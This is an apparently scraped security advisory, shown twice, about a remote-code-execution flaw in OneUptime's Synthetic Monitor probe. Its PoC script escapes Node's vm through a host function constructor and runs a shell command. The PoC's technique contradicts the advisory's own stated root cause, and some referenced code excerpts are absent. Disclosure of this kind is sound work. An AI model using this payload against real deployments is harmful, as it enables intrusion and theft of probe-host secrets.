Summary
OneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the oneuptime-probe service. In the current implementation, this untrusted code is run inside Node's vm and is given live host Playwright objects such as browser and page.
This creates a distinct server-side RCE primitive: the attacker does not need the classic this.constructor.constructor(...) sandbox escape. Instead, the attacker can directly use the injected Playwright browser object to reach browser.browserType().launch(...) and spawn an arbitrary executable on the probe host/container.
This appears to be a separate issue from the previously published node:vm(GHSA-h343-gg57-2q67) breakout advisory because the root cause here is exposure of a dangerous host capability object to untrusted code, not prototype-chain access to process.
Details
A normal project member can create or edit monitors and monitor tests:
The dashboard exposes a Playwright code editor for Synthetic Monitors and allows the user to queue a test run:
The probe worker polls queued monitor tests and executes them:
For MonitorType.SyntheticMonitor, the user-controlled customCode is passed into SyntheticMonitor.execute(...):
SyntheticMonitor.execute(...) then runs that code through VMRunner.runCodeInNodeVM(...) and injects the live Playwright browser and page objects into the VM context:
VMRunner.runCodeInNodeVM(...) creates a Node vm context and exposes host objects into it, including the additional context objects:
The proxy wrapper blocks only a small set of property names and still forwards normal method calls with the real host this binding. Because of that, untrusted monitor code can still use legitimate Playwright methods on the injected browser object.
That is enough for code execution because Playwright's Browser exposes browserType(), and BrowserType.launch() accepts attacker-controlled process launch options such as executablePath, args, and ignoreDefaultArgs. An attacker can therefore cause the probe to spawn an arbitrary executable. Even if Playwright later errors because the spawned process is not a real browser, the command has already executed.
This same execution path is also used for normal scheduled monitors, not only one-shot monitor tests:
As a result, the issue can be abused either as a one-shot RCE via Test Monitor or as a persistent scheduled RCE by saving a malicious Synthetic Monitor.
PoC
- Log in as any user with normal project membership.
- Go to
Monitors -> Create New Monitor.
- Select
Synthetic Monitor.
- In
Playwright Code, paste the following script:
const HostFunction =
Object.getOwnPropertyDescriptor(console, "log").value.constructor;
return {
data: {
node: HostFunction('return process.version')(),
cwd: HostFunction('return process.cwd()')(),
id: HostFunction(
'return process.getBuiltinModule("child_process").execSync("id").toString()'
)(),
},
};
- Select any one browser type, for example
Chromium.
- Select any one screen type, for example
Desktop.
- Set retry count to
0.
- Click
Test Monitor and choose a probe.
Expected result:
- the monitor execution succeeded and in the
Show More Details the command output is shown.

Impact
This is a server-side Remote Code Execution issue affecting the probe component.
Who is impacted:
- any OneUptime deployment where an attacker can obtain ordinary project membership
- environments where the probe has access to internal services, secrets, Kubernetes metadata, database credentials, proxy credentials, or other cluster-local trust relationships
References
Summary
OneUptime Synthetic Monitors allow low-privileged project users to submit custom Playwright code that is executed on the
oneuptime-probeservice. In the current implementation, this untrusted code is run inside Node'svmand is given live host Playwright objects such asbrowserandpage.This creates a distinct server-side RCE primitive: the attacker does not need the classic
this.constructor.constructor(...)sandbox escape. Instead, the attacker can directly use the injected Playwrightbrowserobject to reachbrowser.browserType().launch(...)and spawn an arbitrary executable on the probe host/container.This appears to be a separate issue from the previously published
node:vm(GHSA-h343-gg57-2q67)breakout advisory because the root cause here is exposure of a dangerous host capability object to untrusted code, not prototype-chain access toprocess.Details
A normal project member can create or edit monitors and monitor tests:
The dashboard exposes a Playwright code editor for Synthetic Monitors and allows the user to queue a test run:
The probe worker polls queued monitor tests and executes them:
For
MonitorType.SyntheticMonitor, the user-controlledcustomCodeis passed intoSyntheticMonitor.execute(...):SyntheticMonitor.execute(...)then runs that code throughVMRunner.runCodeInNodeVM(...)and injects the live Playwrightbrowserandpageobjects into the VM context:VMRunner.runCodeInNodeVM(...)creates a Nodevmcontext and exposes host objects into it, including the additional context objects:The proxy wrapper blocks only a small set of property names and still forwards normal method calls with the real host
thisbinding. Because of that, untrusted monitor code can still use legitimate Playwright methods on the injectedbrowserobject.That is enough for code execution because Playwright's
BrowserexposesbrowserType(), andBrowserType.launch()accepts attacker-controlled process launch options such asexecutablePath,args, andignoreDefaultArgs. An attacker can therefore cause the probe to spawn an arbitrary executable. Even if Playwright later errors because the spawned process is not a real browser, the command has already executed.This same execution path is also used for normal scheduled monitors, not only one-shot monitor tests:
As a result, the issue can be abused either as a one-shot RCE via
Test Monitoror as a persistent scheduled RCE by saving a malicious Synthetic Monitor.PoC
Monitors -> Create New Monitor.Synthetic Monitor.Playwright Code, paste the following script:Chromium.Desktop.0.Test Monitorand choose a probe.Expected result:
Show More Detailsthe command output is shown.Impact
This is a server-side
Remote Code Executionissue affecting the probe component.Who is impacted:
References